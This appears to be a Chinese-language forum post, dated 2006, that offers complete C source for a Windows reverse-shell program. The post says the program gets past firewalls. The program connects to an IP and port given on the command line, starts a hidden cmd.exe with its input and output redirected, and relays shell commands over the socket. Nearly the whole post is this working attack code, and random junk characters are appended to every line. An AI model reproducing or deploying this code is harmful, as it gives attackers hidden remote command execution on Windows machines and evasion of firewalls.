Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 k\r(=cex6  
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/* ============================== *Ust[u  
Rebound port in Windows NT F'm(8/A$  
By wind,2006/7 1=}qBR#scY  
===============================*/ xG2+(f#C1  
#include {MdLX.ycc)  
#include LaMLv<)k  
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#pragma comment(lib,"wsock32.lib") zy'D!db`Z  
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void OutputShell(); eet Q}]  
SOCKET sClient; ZAKeEm2A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~ Hy,7  
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void main(int argc,char **argv) tB7}|jC  
{ "Dcs])7Q  
WSADATA stWsaData; O\KQl0*l\\  
int nRet; uGU;Y'W)  
SOCKADDR_IN stSaiClient,stSaiServer; 'T=~jA7SkT  
}R4c  
if(argc != 3) 6.1)IQkO  
{ q%>'4_  
printf("Useage:\n\rRebound DestIP DestPort\n"); >gll-&;t  
return; |]=2 }%1w  
} $ <8~k^  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -Y 9SngxM  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G9P!_72  
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stSaiClient.sin_family = AF_INET; oB1>x^  
stSaiClient.sin_port = htons(0); {:nQl}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R8ONcG  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7xo4-fIuT  
{ e?0q9W  
printf("Bind Socket Failed!\n"); [Qt?W gPj  
return; YV4#%I!<  
} Uh1NO&i.W  
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stSaiServer.sin_family = AF_INET; 2Se?J)MN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LK9g0_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3-Dt[0%{  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X.F^$  
{ AdZ;j6#  
printf("Connect Error!"); 3VnQnd E  
return; -~" :f8  
} %h"z0@+  
OutputShell(); X6+qpp  
} (UCK;k  
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void OutputShell() 5l-mW0,MK  
{ ]j~"m
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char szBuff[1024];  h_d+$W5  
SECURITY_ATTRIBUTES stSecurityAttributes; pg+[y<B  
OSVERSIONINFO stOsversionInfo; $/1c= Y@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O#EV5FeF.  
STARTUPINFO stStartupInfo; )\;Z4x;]U  
char *szShell; u}bf-;R  
PROCESS_INFORMATION stProcessInformation; 6&Juv  
unsigned long lBytesRead; }{9&:!uA  

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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u,3,ck!B>@  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,vqr<H9e  
stSecurityAttributes.lpSecurityDescriptor = 0; + 1IQYa|  
stSecurityAttributes.bInheritHandle = TRUE; x.0p%O=`  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2jsw"aHW  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CBQhIvq.d  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $N']TN  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /N>e&e[35\  
stStartupInfo.wShowWindow = SW_HIDE; 8 #X5K  
stStartupInfo.hStdInput = hReadPipe; >R{qESmP=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LWsP ya  
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GetVersionEx(&stOsversionInfo); zOEY6lAwI  

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switch(stOsversionInfo.dwPlatformId) 3($"q]Y  
{ dUgrKDNyA  
case 1: G'zF)0oD  
szShell = "command.com"; UmnE@H"t$\  
break; ;?}l  
default: X1[CX&Am  
szShell = "cmd.exe"; Ed0IWPx  
break; ?.c;
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} v]%WH~>  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5WqXo{S  
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send(sClient,szMsg,77,0); YI-O{U  
while(1) )5JU:jNy  
{ D47R  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fl Jp4-nx  
if(lBytesRead) cw&Hgjj2  
{ xR"M*%{@0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ; UiwH  
send(sClient,szBuff,lBytesRead,0); U7xmC  
} iyVB3:M  
else 6*l^1;U  
{ 58%'UwKn  
lBytesRead=recv(sClient,szBuff,1024,0); ODc9r }
 
if(lBytesRead<=0) break; OI} &m^IOo  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (qn2xrV  
} p\C%%  
} k{tMzx]F__  
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return; wiOgyMdx  
}